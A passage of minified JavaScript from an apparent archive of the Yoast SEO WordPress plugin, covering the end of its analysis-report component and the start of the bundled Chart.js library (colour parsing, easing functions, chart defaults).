seo"),improvements:(0,o.__)("Improvements","wordpress-seo"),considerations:(0,o.__)("Considerations","wordpress-seo"),goodResults:(0,o.__)("Good results","wordpress-seo")},k=Object.assign(B,u);return(0,s.createElement)(v,null,d>0&&this.renderCollapsible(k.errors,l,i),g+h>0&&this.renderCollapsible(k.problems,l,[...a,...e]),m>0&&this.renderCollapsible(k.improvements,l,t),p>0&&this.renderCollapsible(k.considerations,l,n),c>0&&this.renderCollapsible(k.goodResults,l,r))}}_.propTypes={onMarkButtonClick:l().func,onEditButtonClick:l().func,problemsResults:l().array,improvementsResults:l().array,goodResults:l().array,considerationsResults:l().array,errorsResults:l().array,upsellResults:l().array,headingLevel:l().number,marksButtonStatus:l().string,marksButtonClassName:l().string,markButtonFactory:l().func,editButtonClassName:l().string,activeMarker:l().string,isPremium:l().bool,resultCategoryLabels:l().shape({errors:l().string,problems:l().string,improvements:l().string,considerations:l().string,goodResults:l().string}),onResultChange:l().func,shouldUpsellHighlighting:l().bool,renderHighlightingUpsell:l().func,renderAIFixesButton:l().func},_.defaultProps={onMarkButtonClick:()=>{},onEditButtonClick:()=>{},problemsResults:[],improvementsResults:[],goodResults:[],considerationsResults:[],errorsResults:[],upsellResults:[],headingLevel:4,marksButtonStatus:"enabled",marksButtonClassName:"",markButtonFactory:null,editButtonClassName:"",activeMarker:"",isPremium:!1,resultCategoryLabels:{},onResultChange:()=>{},shouldUpsellHighlighting:!1,renderHighlightingUpsell:()=>{},renderAIFixesButton:()=>{}};const A=_,H=i().div`
`,S=i().p`
	font-size: 14px;
`,M=e=>(0,s.createElement)(H,{className:e.className},(0,s.createElement)(S,{className:`${e.className}__text`},e.seoAssessmentText),(0,s.createElement)(p.StackedProgressBar,{className:"progress",items:e.seoAssessmentItems,barHeight:e.barHeight}),(0,s.createElement)(p.ScoreAssessments,{className:"assessments",items:e.seoAssessmentItems}));M.propTypes={className:l().string,seoAssessmentText:l().string,seoAssessmentItems:l().arrayOf(l().shape({html:l().string.isRequired,value:l().number.isRequired,color:l().string.isRequired})),barHeight:l().string},M.defaultProps={className:"seo-assessment",seoAssessmentText:"SEO Assessment",seoAssessmentItems:null,barHeight:"24px"};const F=M;(window.yoast=window.yoast||{}).analysisReport=t})();wordpress-seo/js/dist/externals/chart.js.js000064400000610524147510273070015034 0ustar00(()=>{"use strict";var t={d:(e,i)=>{for(var s in i)t.o(i,s)&&!t.o(e,s)&&Object.defineProperty(e,s,{enumerable:!0,get:i[s]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};function i(t){return t+.5|0}t.r(e),t.d(e,{Animation:()=>wi,Animations:()=>ki,ArcElement:()=>Dn,BarController:()=>Yi,BarElement:()=>jn,BasePlatform:()=>vs,BasicPlatform:()=>Ms,BubbleController:()=>Ui,CategoryScale:()=>Ho,Chart:()=>wn,Colors:()=>Gn,DatasetController:()=>zi,Decimation:()=>Qn,DomPlatform:()=>Fs,DoughnutController:()=>Xi,Element:()=>Bs,Filler:()=>mo,Interaction:()=>ls,Legend:()=>yo,LineController:()=>qi,LineElement:()=>In,LinearScale:()=>Yo,LogarithmicScale:()=>Go,PieController:()=>Gi,PointElement:()=>Fn,PolarAreaController:()=>Ki,RadarController:()=>Zi,RadialLinearScale:()=>sa,Scale:()=>qs,ScatterController:()=>Ji,SubTitle:()=>ko,Ticks:()=>Gt,TimeScale:()=>da,TimeSeriesScale:()=>fa,Title:()=>Mo,Tooltip:()=>Bo,_adapters:()=>is,_detectPlatform:()=>Vs,animator:()=>yi,controllers:()=>Qi,defaults:()=>ie,elements:()=>$n,layouts:()=>ys,plugins:()=>Wo,registerables:()=>pa,registry:()=>Zs,scales:()=>ga});const s=(t,e,i)=>Math.max(Math.min(t,i),e);function n(t){return s(i(2.55*t),0,255)}function o(t){return s(i(255*t),0,255)}function a(t){return s(i(t/2.55)/100,0,1)}function r(t){return s(i(100*t),0,100)}const l={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,A:10,B:11,C:12,D:13,E:14,F:15,a:10,b:11,c:12,d:13,e:14,f:15},h=[..."0123456789ABCDEF"],c=t=>h[15&t],d=t=>h[(240&t)>>4]+h[15&t],u=t=>(240&t)>>4==(15&t);const f=/^(hsla?|hwb|hsv)\(\s*([-+.e\d]+)(?:deg)?[\s,]+([-+.e\d]+)%[\s,]+([-+.e\d]+)%(?:[\s,]+([-+.e\d]+)(%)?)?\s*\)$/;function g(t,e,i){const s=e*Math.min(i,1-i),n=(e,n=(e+t/30)%12)=>i-s*Math.max(Math.min(n-3,9-n,1),-1);return[n(0),n(8),n(4)]}function p(t,e,i){const s=(s,n=(s+t/60)%6)=>i-i*e*Math.max(Math.min(n,4-n,1),0);return[s(5),s(3),s(1)]}function m(t,e,i){const s=g(t,1,.5);let n;for(e+i>1&&(n=1/(e+i),e*=n,i*=n),n=0;n<3;n++)s[n]*=1-e-i,s[n]+=e;return s}function b(t){const e=t.r/255,i=t.g/255,s=t.b/255,n=Math.max(e,i,s),o=Math.min(e,i,s),a=(n+o)/2;let r,l,h;return n!==o&&(h=n-o,l=a>.5?h/(2-n-o):h/(n+o),r=function(t,e,i,s,n){return t===n?(e-i)/s+(e<i?6:0):e===n?(i-t)/s+2:(t-e)/s+4}(e,i,s,h,n),r=60*r+.5),[0|r,l||0,a]}function x(t,e,i,s){return(Array.isArray(e)?t(e[0],e[1],e[2]):t(e,i,s)).map(o)}function _(t,e,i){return x(g,t,e,i)}function y(t){return(t%360+360)%360}const v={x:"dark",Z:"light",Y:"re",X:"blu",W:"gr",V:"medium",U:"slate",A:"ee",T:"ol",S:"or",B:"ra",C:"lateg",D:"ights",R:"in",Q:"turquois",E:"hi",P:"ro",O:"al",N:"le",M:"de",L:"yello",F:"en",K:"ch",G:"arks",H:"ea",I:"ightg",J:"wh"},M={OiceXe:"f0f8ff",antiquewEte:"faebd7",aqua:"ffff",aquamarRe:"7fffd4",azuY:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"0",blanKedOmond:"ffebcd",Xe:"ff",XeviTet:"8a2be2",bPwn:"a52a2a",burlywood:"deb887",caMtXe:"5f9ea0",KartYuse:"7fff00",KocTate:"d2691e",cSO:"ff7f50",cSnflowerXe:"6495ed",cSnsilk:"fff8dc",crimson:"dc143c",cyan:"ffff",xXe:"8b",xcyan:"8b8b",xgTMnPd:"b8860b",xWay:"a9a9a9",xgYF:"6400",xgYy:"a9a9a9",xkhaki:"bdb76b",xmagFta:"8b008b",xTivegYF:"556b2f",xSange:"ff8c00",xScEd:"9932cc",xYd:"8b0000",xsOmon:"e9967a",xsHgYF:"8fbc8f",xUXe:"483d8b",xUWay:"2f4f4f",xUgYy:"2f4f4f",xQe:"ced1",xviTet:"9400d3",dAppRk:"ff1493",dApskyXe:"bfff",dimWay:"696969",dimgYy:"696969",dodgerXe:"1e90ff",fiYbrick:"b22222",flSOwEte:"fffaf0",foYstWAn:"228b22",fuKsia:"ff00ff",gaRsbSo:"dcdcdc",ghostwEte:"f8f8ff",gTd:"ffd700",gTMnPd:"daa520",Way:"808080",gYF:"8000",gYFLw:"adff2f",gYy:"808080",honeyMw:"f0fff0",hotpRk:"ff69b4",RdianYd:"cd5c5c",Rdigo:"4b0082",ivSy:"fffff0",khaki:"f0e68c",lavFMr:"e6e6fa",lavFMrXsh:"fff0f5",lawngYF:"7cfc00",NmoncEffon:"fffacd",ZXe:"add8e6",ZcSO:"f08080",Zcyan:"e0ffff",ZgTMnPdLw:"fafad2",ZWay:"d3d3d3",ZgYF:"90ee90",ZgYy:"d3d3d3",ZpRk:"ffb6c1",ZsOmon:"ffa07a",ZsHgYF:"20b2aa",ZskyXe:"87cefa",ZUWay:"778899",ZUgYy:"778899",ZstAlXe:"b0c4de",ZLw:"ffffe0",lime:"ff00",limegYF:"32cd32",lRF:"faf0e6",magFta:"ff00ff",maPon:"800000",VaquamarRe:"66cdaa",VXe:"cd",VScEd:"ba55d3",VpurpN:"9370db",VsHgYF:"3cb371",VUXe:"7b68ee",VsprRggYF:"fa9a",VQe:"48d1cc",VviTetYd:"c71585",midnightXe:"191970",mRtcYam:"f5fffa",mistyPse:"ffe4e1",moccasR:"ffe4b5",navajowEte:"ffdead",navy:"80",Tdlace:"fdf5e6",Tive:"808000",TivedBb:"6b8e23",Sange:"ffa500",SangeYd:"ff4500",ScEd:"da70d6",pOegTMnPd:"eee8aa",pOegYF:"98fb98",pOeQe:"afeeee",pOeviTetYd:"db7093",papayawEp:"ffefd5",pHKpuff:"ffdab9",peru:"cd853f",pRk:"ffc0cb",plum:"dda0dd",powMrXe:"b0e0e6",purpN:"800080",YbeccapurpN:"663399",Yd:"ff0000",Psybrown:"bc8f8f",PyOXe:"4169e1",saddNbPwn:"8b4513",sOmon:"fa8072",sandybPwn:"f4a460",sHgYF:"2e8b57",sHshell:"fff5ee",siFna:"a0522d",silver:"c0c0c0",skyXe:"87ceeb",UXe:"6a5acd",UWay:"708090",UgYy:"708090",snow:"fffafa",sprRggYF:"ff7f",stAlXe:"4682b4",tan:"d2b48c",teO:"8080",tEstN:"d8bfd8",tomato:"ff6347",Qe:"40e0d0",viTet:"ee82ee",JHt:"f5deb3",wEte:"ffffff",wEtesmoke:"f5f5f5",Lw:"ffff00",LwgYF:"9acd32"};let w;const k=/^rgba?\(\s*([-+.\d]+)(%)?[\s,]+([-+.e\d]+)(%)?[\s,]+([-+.e\d]+)(%)?(?:[\s,/]+([-+.e\d]+)(%)?)?\s*\)$/,S=t=>t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055,P=t=>t<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4);function D(t,e,i){if(t){let s=b(t);s[e]=Math.max(0,Math.min(s[e]+s[e]*i,0===e?360:1)),s=_(s),t.r=s[0],t.g=s[1],t.b=s[2]}}function C(t,e){return t?Object.assign(e||{},t):t}function O(t){var e={r:0,g:0,b:0,a:255};return Array.isArray(t)?t.length>=3&&(e={r:t[0],g:t[1],b:t[2],a:255},t.length>3&&(e.a=o(t[3]))):(e=C(t,{r:0,g:0,b:0,a:1})).a=o(e.a),e}function A(t){return"r"===t.charAt(0)?function(t){const e=k.exec(t);let i,o,a,r=255;if(e){if(e[7]!==i){const t=+e[7];r=e[8]?n(t):s(255*t,0,255)}return i=+e[1],o=+e[3],a=+e[5],i=255&(e[2]?n(i):s(i,0,255)),o=255&(e[4]?n(o):s(o,0,255)),a=255&(e[6]?n(a):s(a,0,255)),{r:i,g:o,b:a,a:r}}}(t):function(t){const e=f.exec(t);let i,s=255;if(!e)return;e[5]!==i&&(s=e[6]?n(+e[5]):o(+e[5]));const a=y(+e[2]),r=+e[3]/100,l=+e[4]/100;return i="hwb"===e[1]?function(t,e,i){return x(m,t,e,i)}(a,r,l):"hsv"===e[1]?function(t,e,i){return x(p,t,e,i)}(a,r,l):_(a,r,l),{r:i[0],g:i[1],b:i[2],a:s}}(t)}class T{constructor(t){if(t instanceof T)return t;const e=typeof t;let i;var s,n,o;"object"===e?i=O(t):"string"===e&&(o=(s=t).length,"#"===s[0]&&(4===o||5===o?n={r:255&17*l[s[1]],g:255&17*l[s[2]],b:255&17*l[s[3]],a:5===o?17*l[s[4]]:255}:7!==o&&9!==o||(n={r:l[s[1]]<<4|l[s[2]],g:l[s[3]]<<4|l[s[4]],b:l[s[5]]<<4|l[s[6]],a:9===o?l[s[7]]<<4|l[s[8]]:255})),i=n||function(t){w||(w=function(){const t={},e=Object.keys(M),i=Object.keys(v);let s,n,o,a,r;for(s=0;s<e.length;s++){for(a=r=e[s],n=0;n<i.length;n++)o=i[n],r=r.replace(o,v[o]);o=parseInt(M[a],16),t[r]=[o>>16&255,o>>8&255,255&o]}return t}(),w.transparent=[0,0,0,0]);const e=w[t.toLowerCase()];return e&&{r:e[0],g:e[1],b:e[2],a:4===e.length?e[3]:255}}(t)||A(t)),this._rgb=i,this._valid=!!i}get valid(){return this._valid}get rgb(){var t=C(this._rgb);return t&&(t.a=a(t.a)),t}set rgb(t){this._rgb=O(t)}rgbString(){return this._valid?(t=this._rgb)&&(t.a<255?`rgba(${t.r}, ${t.g}, ${t.b}, ${a(t.a)})`:`rgb(${t.r}, ${t.g}, ${t.b})`):void 0;var t}hexString(){return this._valid?(t=this._rgb,e=(t=>u(t.r)&&u(t.g)&&u(t.b)&&u(t.a))(t)?c:d,t?"#"+e(t.r)+e(t.g)+e(t.b)+((t,e)=>t<255?e(t):"")(t.a,e):void 0):void 0;var t,e}hslString(){return this._valid?function(t){if(!t)return;const e=b(t),i=e[0],s=r(e[1]),n=r(e[2]);return t.a<255?`hsla(${i}, ${s}%, ${n}%, ${a(t.a)})`:`hsl(${i}, ${s}%, ${n}%)`}(this._rgb):void 0}mix(t,e){if(t){const i=this.rgb,s=t.rgb;let n;const o=e===n?.5:e,a=2*o-1,r=i.a-s.a,l=((a*r==-1?a:(a+r)/(1+a*r))+1)/2;n=1-l,i.r=255&l*i.r+n*s.r+.5,i.g=255&l*i.g+n*s.g+.5,i.b=255&l*i.b+n*s.b+.5,i.a=o*i.a+(1-o)*s.a,this.rgb=i}return this}interpolate(t,e){return t&&(this._rgb=function(t,e,i){const s=P(a(t.r)),n=P(a(t.g)),r=P(a(t.b));return{r:o(S(s+i*(P(a(e.r))-s))),g:o(S(n+i*(P(a(e.g))-n))),b:o(S(r+i*(P(a(e.b))-r))),a:t.a+i*(e.a-t.a)}}(this._rgb,t._rgb,e)),this}clone(){return new T(this.rgb)}alpha(t){return this._rgb.a=o(t),this}clearer(t){return this._rgb.a*=1-t,this}greyscale(){const t=this._rgb,e=i(.3*t.r+.59*t.g+.11*t.b);return t.r=t.g=t.b=e,this}opaquer(t){return this._rgb.a*=1+t,this}negate(){const t=this._rgb;return t.r=255-t.r,t.g=255-t.g,t.b=255-t.b,this}lighten(t){return D(this._rgb,2,t),this}darken(t){return D(this._rgb,2,-t),this}saturate(t){return D(this._rgb,1,t),this}desaturate(t){return D(this._rgb,1,-t),this}rotate(t){return function(t,e){var i=b(t);i[0]=y(i[0]+e),i=_(i),t.r=i[0],t.g=i[1],t.b=i[2]}(this._rgb,t),this}}function L(){}const E=(()=>{let t=0;return()=>t++})();function R(t){return null==t}function I(t){if(Array.isArray&&Array.isArray(t))return!0;const e=Object.prototype.toString.call(t);return"[object"===e.slice(0,7)&&"Array]"===e.slice(-6)}function z(t){return null!==t&&"[object Object]"===Object.prototype.toString.call(t)}function F(t){return("number"==typeof t||t instanceof Number)&&isFinite(+t)}function V(t,e){return F(t)?t:e}function B(t,e){return void 0===t?e:t}const W=(t,e)=>"string"==typeof t&&t.endsWith("%")?parseFloat(t)/100*e:+t;function N(t,e,i){if(t&&"function"==typeof t.call)return t.apply(i,e)}function H(t,e,i,s){let n,o,a;if(I(t))if(o=t.length,s)for(n=o-1;n>=0;n--)e.call(i,t[n],n);else for(n=0;n<o;n++)e.call(i,t[n],n);else if(z(t))for(a=Object.keys(t),o=a.length,n=0;n<o;n++)e.call(i,t[a[n]],a[n])}function j(t,e){let i,s,n,o;if(!t||!e||t.length!==e.length)return!1;for(i=0,s=t.length;i<s;++i)if(n=t[i],o=e[i],n.datasetIndex!==o.datasetIndex||n.index!==o.index)return!1;return!0}function $(t){if(I(t))return t.map($);if(z(t)){const e=Object.create(null),i=Object.keys(t),s=i.length;let n=0;for(;n<s;++n)e[i[n]]=$(t[i[n]]);return e}return t}function Y(t){return-1===["__proto__","prototype","constructor"].indexOf(t)}function U(t,e,i,s){if(!Y(t))return;const n=e[t],o=i[t];z(n)&&z(o)?X(n,o,s):e[t]=$(o)}function X(t,e,i){const s=I(e)?e:[e],n=s.length;if(!z(t))return t;const o=(i=i||{}).merger||U;let a;for(let e=0;e<n;++e){if(a=s[e],!z(a))continue;const n=Object.keys(a);for(let e=0,s=n.length;e<s;++e)o(n[e],t,a,i)}return t}function q(t,e){return X(t,e,{merger:K})}function K(t,e,i){if(!Y(t))return;const s=e[t],n=i[t];z(s)&&z(n)?q(s,n):Object.prototype.hasOwnProperty.call(e,t)||(e[t]=$(n))}const G={"":t=>t,x:t=>t.x,y:t=>t.y};function Z(t,e){const i=G[e]||(G[e]=function(t){const e=function(t){const e=t.split("."),i=[];let s="";for(const t of e)s+=t,s.endsWith("\\")?s=s.slice(0,-1)+".":(i.push(s),s="");return i}(t);return t=>{for(const i of e){if(""===i)break;t=t&&t[i]}return t}}(e));return i(t)}function J(t){return t.charAt(0).toUpperCase()+t.slice(1)}const Q=t=>void 0!==t,tt=t=>"function"==typeof t,et=(t,e)=>{if(t.size!==e.size)return!1;for(const i of t)if(!e.has(i))return!1;return!0},it=Math.PI,st=2*it,nt=st+it,ot=Number.POSITIVE_INFINITY,at=it/180,rt=it/2,lt=it/4,ht=2*it/3,ct=Math.log10,dt=Math.sign;function ut(t,e,i){return Math.abs(t-e)<i}function ft(t){const e=Math.round(t);t=ut(t,e,t/1e3)?e:t;const i=Math.pow(10,Math.floor(ct(t))),s=t/i;return(s<=1?1:s<=2?2:s<=5?5:10)*i}function gt(t){return!isNaN(parseFloat(t))&&isFinite(t)}function pt(t,e,i){let s,n,o;for(s=0,n=t.length;s<n;s++)o=t[s][i],isNaN(o)||(e.min=Math.min(e.min,o),e.max=Math.max(e.max,o))}function mt(t){return t*(it/180)}function bt(t){return t*(180/it)}function xt(t){if(!F(t))return;let e=1,i=0;for(;Math.round(t*e)/e!==t;)e*=10,i++;return i}function _t(t,e){const i=e.x-t.x,s=e.y-t.y,n=Math.sqrt(i*i+s*s);let o=Math.atan2(s,i);return o<-.5*it&&(o+=st),{angle:o,distance:n}}function yt(t,e){return Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))}function vt(t,e){return(t-e+nt)%st-it}function Mt(t){return(t%st+st)%st}function wt(t,e,i,s){const n=Mt(t),o=Mt(e),a=Mt(i),r=Mt(o-n),l=Mt(a-n),h=Mt(n-o),c=Mt(n-a);return n===o||n===a||s&&o===a||r>l&&h<c}function kt(t,e,i){return Math.max(e,Math.min(i,t))}function St(t,e,i,s=1e-6){return t>=Math.min(e,i)-s&&t<=Math.max(e,i)+s}function Pt(t,e,i){i=i||(i=>t[i]<e);let s,n=t.length-1,o=0;for(;n-o>1;)s=o+n>>1,i(s)?o=s:n=s;return{lo:o,hi:n}}const Dt=(t,e,i,s)=>Pt(t,i,s?s=>{const n=t[s][e];return n<i||n===i&&t[s+1][e]===i}:s=>t[s][e]<i),Ct=(t,e,i)=>Pt(t,i,(s=>t[s][e]>=i)),Ot=["push","pop","shift","splice","unshift"];function At(t,e){const i=t._chartjs;if(!i)return;const s=i.listeners,n=s.indexOf(e);-1!==n&&s.splice(n,1),s.length>0||(Ot.forEach((e=>{delete t[e]})),delete t._chartjs)}function Tt(t){const e=new Set;let i,s;for(i=0,s=t.length;i<s;++i)e.add(t[i]);return e.size===s?t:Array.from(e)}const Lt="undefined"==typeof window?function(t){return t()}:window.requestAnimationFrame;function Et(t,e){let i=[],s=!1;return function(...n){i=n,s||(s=!0,Lt.call(window,(()=>{s=!1,t.apply(e,i)})))}}const Rt=t=>"start"===t?"left":"end"===t?"right":"center",It=(t,e,i)=>"start"===t?e:"end"===t?i:(e+i)/2;function zt(t,e,i){const s=e.length;let n=0,o=s;if(t._sorted){const{iScale:a,_parsed:r}=t,l=a.axis,{min:h,max:c,minDefined:d,maxDefined:u}=a.getUserBounds();d&&(n=kt(Math.min(Dt(r,a.axis,h).lo,i?s:Dt(e,l,a.getPixelForValue(h)).lo),0,s-1)),o=u?kt(Math.max(Dt(r,a.axis,c,!0).hi+1,i?0:Dt(e,l,a.getPixelForValue(c),!0).hi+1),n,s)-n:s-n}return{start:n,count:o}}function Ft(t){const{xScale:e,yScale:i,_scaleRanges:s}=t,n={xmin:e.min,xmax:e.max,ymin:i.min,ymax:i.max};if(!s)return t._scaleRanges=n,!0;const o=s.xmin!==e.min||s.xmax!==e.max||s.ymin!==i.min||s.ymax!==i.max;return Object.assign(s,n),o}const Vt=t=>0===t||1===t,Bt=(t,e,i)=>-Math.pow(2,10*(t-=1))*Math.sin((t-e)*st/i),Wt=(t,e,i)=>Math.pow(2,-10*t)*Math.sin((t-e)*st/i)+1,Nt={linear:t=>t,easeInQuad:t=>t*t,easeOutQuad:t=>-t*(t-2),easeInOutQuad:t=>(t/=.5)<1?.5*t*t:-.5*(--t*(t-2)-1),easeInCubic:t=>t*t*t,easeOutCubic:t=>(t-=1)*t*t+1,easeInOutCubic:t=>(t/=.5)<1?.5*t*t*t:.5*((t-=2)*t*t+2),easeInQuart:t=>t*t*t*t,easeOutQuart:t=>-((t-=1)*t*t*t-1),easeInOutQuart:t=>(t/=.5)<1?.5*t*t*t*t:-.5*((t-=2)*t*t*t-2),easeInQuint:t=>t*t*t*t*t,easeOutQuint:t=>(t-=1)*t*t*t*t+1,easeInOutQuint:t=>(t/=.5)<1?.5*t*t*t*t*t:.5*((t-=2)*t*t*t*t+2),easeInSine:t=>1-Math.cos(t*rt),easeOutSine:t=>Math.sin(t*rt),easeInOutSine:t=>-.5*(Math.cos(it*t)-1),easeInExpo:t=>0===t?0:Math.pow(2,10*(t-1)),easeOutExpo:t=>1===t?1:1-Math.pow(2,-10*t),easeInOutExpo:t=>Vt(t)?t:t<.5?.5*Math.pow(2,10*(2*t-1)):.5*(2-Math.pow(2,-10*(2*t-1))),easeInCirc:t=>t>=1?t:-(Math.sqrt(1-t*t)-1),easeOutCirc:t=>Math.sqrt(1-(t-=1)*t),easeInOutCirc:t=>(t/=.5)<1?-.5*(Math.sqrt(1-t*t)-1):.5*(Math.sqrt(1-(t-=2)*t)+1),easeInElastic:t=>Vt(t)?t:Bt(t,.075,.3),easeOutElastic:t=>Vt(t)?t:Wt(t,.075,.3),easeInOutElastic(t){const e=.1125;return Vt(t)?t:t<.5?.5*Bt(2*t,e,.45):.5+.5*Wt(2*t-1,e,.45)},easeInBack(t){const e=1.70158;return t*t*((e+1)*t-e)},easeOutBack(t){const e=1.70158;return(t-=1)*t*((e+1)*t+e)+1},easeInOutBack(t){let e=1.70158;return(t/=.5)<1?t*t*((1+(e*=1.525))*t-e)*.5:.5*((t-=2)*t*((1+(e*=1.525))*t+e)+2)},easeInBounce:t=>1-Nt.easeOutBounce(1-t),easeOutBounce(t){const e=7.5625,i=2.75;return t<1/i?e*t*t:t<2/i?e*(t-=1.5/i)*t+.75:t<2.5/i?e*(t-=2.25/i)*t+.9375:e*(t-=2.625/i)*t+.984375},easeInOutBounce:t=>t<.5?.5*Nt.easeInBounce(2*t):.5*Nt.easeOutBounce(2*t-1)+.5};function Ht(t){if(t&&"object"==typeof t){const e=t.toString();return"[object CanvasPattern]"===e||"[object CanvasGradient]"===e}return!1}function jt(t){return Ht(t)?t:new T(t)}function $t(t){return Ht(t)?t:new T(t).saturate(.5).darken(.1).hexString()}const Yt=["x","y","borderWidth","radius","tension"],Ut=["color","borderColor","backgroundColor"],Xt=new Map;function qt(t,e,i){return function(t,e){e=e||{};const i=t+JSON.stringify(e);let s=Xt.get(i);return s||(s=new Intl.NumberFormat(t,e),Xt.set(i,s)),s}(e,i).format(t)}const Kt={values:t=>I(t)?t:""+t,numeric(t,e,i){if(0===t)return"0";const s=this.chart.options.locale;let n,o=t;if(i.length>1){const e=Math.max(Math.abs(i[0].value),Math.abs(i[i.length-1].value));(e<1e-4||e>1e15)&&(n="scientific"),o=function(t,e){let i=e.length>3?e[2].value-e[1].value:e[1].value-e[0].value;return Math.abs(i)>=1&&t!==Math.floor(t)&&(i=t-Math.floor(t)),i}(t,i)}const a=ct(Math.abs(o)),r=Math.max(Math.min(-1*Math.floor(a),20),0),l={notation:n,minimumFractionDigits:r,maximumFractionDigits:r};return Object.assign(l,this.options.ticks.format),qt(t,s,l)},logarithmic(t,e,i){if(0===t)return"0";const s=i[e].significand||t/Math.pow(10,Math.floor(ct(t)));return[1,2,3,5,10,15].includes(s)||e>.8*i.length?Kt.numeric.call(this,t,e,i):""}};var Gt={formatters:Kt};const Zt=Object.create(null),Jt=Object.create(null);function Qt(t,e){if(!e)return t;const i=e.split(".");for(let e=0,s=i.length;e<s;++e){const s=i[e];t=t[s]||(t[s]=Object.create(null))}return t}function te(t,e,i){return"string"==typeof e?X(Qt(t,e),i):X(Qt(t,""),e)}class ee{constructor(t,e){this.animation=void 0,this.backgroundColor="rgba(0,0,0,0.1)",this.borderColor="rgba(0,0,0,0.1)",this.color="#666",this.datasets={},this.devicePixelRatio=t=>t.chart.platform.getDevicePixelRatio(),this.elements={},this.events=["mousemove","mouseout","click","touchstart","touchmove"],this.font={family:"'Helvetica Neue', 'Helvetica', 'Arial', sans-serif",size:12,style:"normal",lineHeight:1.2,weight:null},this.hover={},this.hoverBackgroundColor=(t,e)=>$t(e.backgroundColor),this.hoverBorderColor=(t,e)=>$t(e.borderColor),this.hoverColor=(t,e)=>$t(e.color),this.indexAxis="x",this.interaction={mode:"nearest",intersect:!0,includeInvisible:!1},this.maintainAspectRatio=!0,this.onHover=null,this.onClick=null,this.parsing=!0,this.plugins={},this.responsive=!0,this.scale=void 0,this.scales={},this.showLine=!0,this.drawActiveElementsOnTop=!0,this.describe(t),this.apply(e)}set(t,e){return te(this,t,e)}get(t){return Qt(this,t)}describe(t,e){return te(Jt,t,e)}override(t,e){return te(Zt,t,e)}route(t,e,i,s){const n=Qt(this,t),o=Qt(this,i),a="_"+e;Object.defineProperties(n,{[a]:{value:n[e],writable:!0},[e]:{enumerable:!0,get(){const t=this[a],e=o[s];return z(t)?Object.assign({},e,t):B(t,e)},set(t){this[a]=t}}})}apply(t){t.forEach((t=>t(this)))}}var ie=new ee({_scriptable:t=>!t.startsWith("on"),_indexable:t=>"events"!==t,hover:{_fallback:"interaction"},interaction:{_scriptable:!1,_indexable:!1}},[function(t){t.set("animation",{delay:void 0,duration:1e3,easing:"easeOutQuart",fn:void 0,from:void 0,loop:void 0,to:void 0,type:void 0}),t.describe("animation",{_fallback:!1,_indexable:!1,_scriptable:t=>"onProgress"!==t&&"onComplete"!==t&&"fn"!==t}),t.set("animations",{colors:{type:"color",properties:Ut},numbers:{type:"number",properties:Yt}}),t.describe("animations",{_fallback:"animation"}),t.set("transitions",{active:{animation:{duration:400}},resize:{animation:{duration:0}},show:{animations:{colors:{from:"transparent"},visible:{type:"boolean",duration:0}}},hide:{animations:{colors:{to:"transparent"},visible:{type:"boolean",easing:"linear",fn:t=>0|t}}}})},function(t){t.set("layout",{autoPadding:!0,padding:{top:0,right:0,bottom:0,left:0}})},function(t){t.set("scale",{display:!0,offset:!1,reverse:!1,beginAtZero:!1,bounds:"ticks",grace:0,grid:{display:!0,lineWidth:1,drawOnChartArea:!0,drawTicks:!0,tickLength:8,tickWidth:(t,e)=>e.lineWidth,tickColor:(t,e)=>e.color,offset:!1},border:{display:!0,dash:[],dashOffset:0,width:1},title:{display:!1,text:"",padding:{top:4,bottom:4}},ticks:{minRotation:0,maxRotation:50,mirror:!1,textStrokeWidth:0,textStrokeColor:"",padding:3,display:!0,autoSkip:!0,autoSkipPadding:3,labelOffset:0,callback:Gt.formatters.values,minor:{},major:{},align:"center",crossAlign:"near",showLabelBackdrop:!1,backdropColor:"rgba(255, 255, 255, 0.75)",backdropPadding:2}}),t.route("scale.ticks","color","","color"),t.route("scale.grid","color","","borderColor"),t.route("scale.border","color","","borderColor"),t.route("scale.title","color","","color"),t.describe("scale",{_fallback:!1,_scriptable:t=>!t.startsWith("before")&&!t.startsWith("after")&&"callback"!==t&&"parser"!==t,_indexable:t=>"borderDash"!==t&&"tickBorderDash"!==t&&"dash"!==t}),t.describe("scales",{_fallback:"scale"}),t.describe("scale.ticks",{_scriptable:t=>"backdropPadding"!==t&&"callback"!==t,_indexable:t=>"backdropPadding"!==t})}]);function se(t,e,i,s,n){let o=e[n];return o||(o=e[n]=t.measureText(n).width,i.push(n)),o>s&&(s=o),s}function ne(t,e,i,s){let n=(s=s||{}).data=s.data||{},o=s.garbageCollect=s.garbageCollect||[];s.font!==e&&(n=s.data={},o=s.garbageCollect=[],s.font=e),t.save(),t.font=e;let a=0;const r=i.length;let l,h,c,d,u;for(l=0;l<r;l++)if(d=i[l],null!=d&&!0!==I(d))a=se(t,n,o,a,d);else if(I(d))for(h=0,c=d.length;h<c;h++)u=d[h],null==u||I(u)||(a=se(t,n,o,a,u));t.restore();const f=o.length/2;if(f>i.length){for(l=0;l<f;l++)delete n[o[l]];o.splice(0,f)}return a}function oe(t,e,i){const s=t.currentDevicePixelRatio,n=0!==i?Math.max(i/2,.5):0;return Math.round((e-n)*s)/s+n}function ae(t,e){(e=e||t.getContext("2d")).save(),e.resetTransform(),e.clearRect(0,0,t.width,t.height),e.restore()}function re(t,e,i,s){le(t,e,i,s,null)}function le(t,e,i,s,n){let o,a,r,l,h,c,d,u;const f=e.pointStyle,g=e.rotation,p=e.radius;let m=(g||0)*at;if(f&&"object"==typeof f&&(o=f.toString(),"[object HTMLImageElement]"===o||"[object HTMLCanvasElement]"===o))return t.save(),t.translate(i,s),t.rotate(m),t.drawImage(f,-f.width/2,-f.height/2,f.width,f.height),void 